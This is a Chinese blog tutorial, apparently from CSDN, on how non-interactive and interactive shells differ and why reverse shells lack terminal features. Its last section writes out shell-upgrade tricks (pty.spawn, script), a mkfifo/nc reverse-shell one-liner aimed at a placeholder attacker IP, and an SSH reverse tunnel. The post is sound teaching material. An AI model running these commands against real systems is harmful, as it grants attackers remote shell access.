非交互式shell和交互式shell中的区别

0x00 前言

有一些同学,学到反弹shell这一部分的内容的时候,问了我一个问题"为什么要敲交互式shell的命令这么命令又是什么意思不敲不行吗 " 我的回答可能只能是 " 可能用不了Tab补全? 或者 登录不上某些服务?" 这些回答还是太过片面,所有抽了一点时间补充一下狭隘的知识面,如果还有 不同意见 ,也欢迎大家提出建议

0x01 非交互式shell

非交互式shell:
1.运行过程中没有用户交互的shell环境,通常用于脚本或自动化任务中
2.只能执行在脚本中预定义好的命令和指令。用户不能在脚本执行过程中输入新的命令或修改现有的命令
3.非交互式Shell通常通过重定向文件或使用管道来处理输入和输出,而不是直接与用户终端交互
eg,通过<符号从文件中读取输入,或通过>符号将输出写入文件
4.不提供实时的命令执行反馈。这意味着用户不能在执行过程中实时地查看或修改命令的输出
5.环境变量需要在脚本开始之前设置好,或者在脚本中明确定义。用户不能在脚本执行过程中动态地改变环境变量
6.错误处理通常需要在脚本中预先定义。脚本需要包括检查和处理错误的逻辑,因为用户无法在执行过程中手动处理错误

非交互式Shell被广泛应用于批处理任务、自动化脚本和计划任务(如cron作业)等场景,在这些场景中不需要用户的实时交互

0x02 交互式shell

交互式Shell是指用户可以与Shell实时交互,输入命令并立即查看输出的Shell环境
1.实时命令输入:
用户可以直接在命令行输入命令并立即执行。每个命令在输入后立即被解析和执行。
2.即时反馈:
交互式Shell会立即显示每个命令的输出结果。用户可以看到命令的执行情况和输出内容。
3.命令历史:
用户可以使用方向键(通常是上箭头和下箭头)浏览之前输入的命令,方便重复执行或修改之前的命令。
4.Tab自动补全:
交互式Shell通常支持Tab键自动补全功能,可以快速补全命令、文件名或路径,提高输入效率。
5.环境变量的动态修改:
用户可以在交互式Shell中随时查看和修改环境变量。例如,使用export命令可以设置新的环境变量或修改已有的变量。
6.命令别名:
用户可以创建命令别名以简化常用命令的输入。例如,使用alias命令可以将ls -la简化为ll。
7.支持交互式程序:
交互式Shell可以运行需要用户输入的程序,如文本编辑器(例如vim或nano)、数据库客户端(如mysql或psql)等,这些程序在运行过程中会与用户进行交互。
8.控制流命令:
用户可以在交互式Shell中使用控制流命令(如if、for、while等)进行复杂操作,甚至编写和测试脚本。
9.即时错误处理:
如果命令出错,用户可以立即看到错误信息并进行调试和修正。用户可以在错误发生后立即输入新的命令来处理错误。

交互式Shell的这些特点使其非常适合用于日常的系统管理、调试和开发工作,提供了方便和灵活的操作环境。常见的交互式Shell包括Bash、Zsh、Fish等

0x03 反弹shell

反弹shell过来的shell为什么是普通的非交互式shell?

1.环境限制:
反弹Shell通常是在受限环境中启动的,例如在受限的服务器或容器中。这些环境可能不提供完整的终端功能,导致反弹Shell无法提供完全的交互式体验。
2.网络连接性质:
反弹Shell通过网络连接反向连接到攻击者的机器,这种连接方式通常使用简单的网络协议,如TCP。这种简单的连接方式没有终端控制特性,导致Shell无法提供交互式功能。
3.I/O重定向:
反弹Shell通常通过重定向标准输入输出(stdin、stdout、stderr)来工作。这种重定向方式不支持终端的高级功能(如命令行编辑、历史记录、信号处理等),因此它们只能提供基本的非交互式功能。
4.安全措施:
目标系统上的安全措施可能会限制反弹Shell的功能。例如,系统管理员可能会配置防火墙、访问控制和日志审计等措施,限制外部连接的Shell的交互能力。
5.实现简单:
反弹Shell的实现通常相对简单,目的是在受限环境中快速获得一个Shell访问。因此,这些实现通常不包括复杂的交互式功能,以减少复杂性和增加成功的可能性。

0x04 从非交互式shell提升到交互式shell

python的交互式shell

# 普通的非交互式Shell可以利用Python变成交互式Shell的原因在于Python的强大功能和灵活性。通过Python脚本,您可以创建一个连接到远程服务器的伪终端(PTY),从而提供交互式Shell的体验

python -c 'import pty; pty.spawn("/bin/bash")'
# python 调用python解释器
#-c  将后面的python代码全部执行
#import pty  导入pty模块 pty为伪终端
#pty.spawn("/bin/bash")  pty模块中的spawn函数会启动一个新的进程,并在伪终端上运行指定的命令。在这里,"/bin/bash"表示要启动的是Bash Shell
#spawn 函数的主要作用是启动一个进程(在这个例子中是/bin/bash),并将当前进程的标准输入、输出和错误流连接到这个进程,从而在伪终端上运行它。这使得用户可以像在真实终端上运行Bash一样,与它进行交互

script

script /dev/null -c "/bin/bash"

mkfifo

mkfifo /tmp/f; nc 攻击者IP 4444 < /tmp/f | /bin/bash > /tmp/f

使用 ssh反向隧道

在目标机器上开启一个反向SSH连接
ssh -R 4444:localhost:22 user@攻击者IP
在攻击者机器上,通过反向隧道连接
ssh -p 4444 user@localhost
这种方法依赖于目标机器上运行的SSH服务,并且需要攻击者机器能够接受SSH连接
  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值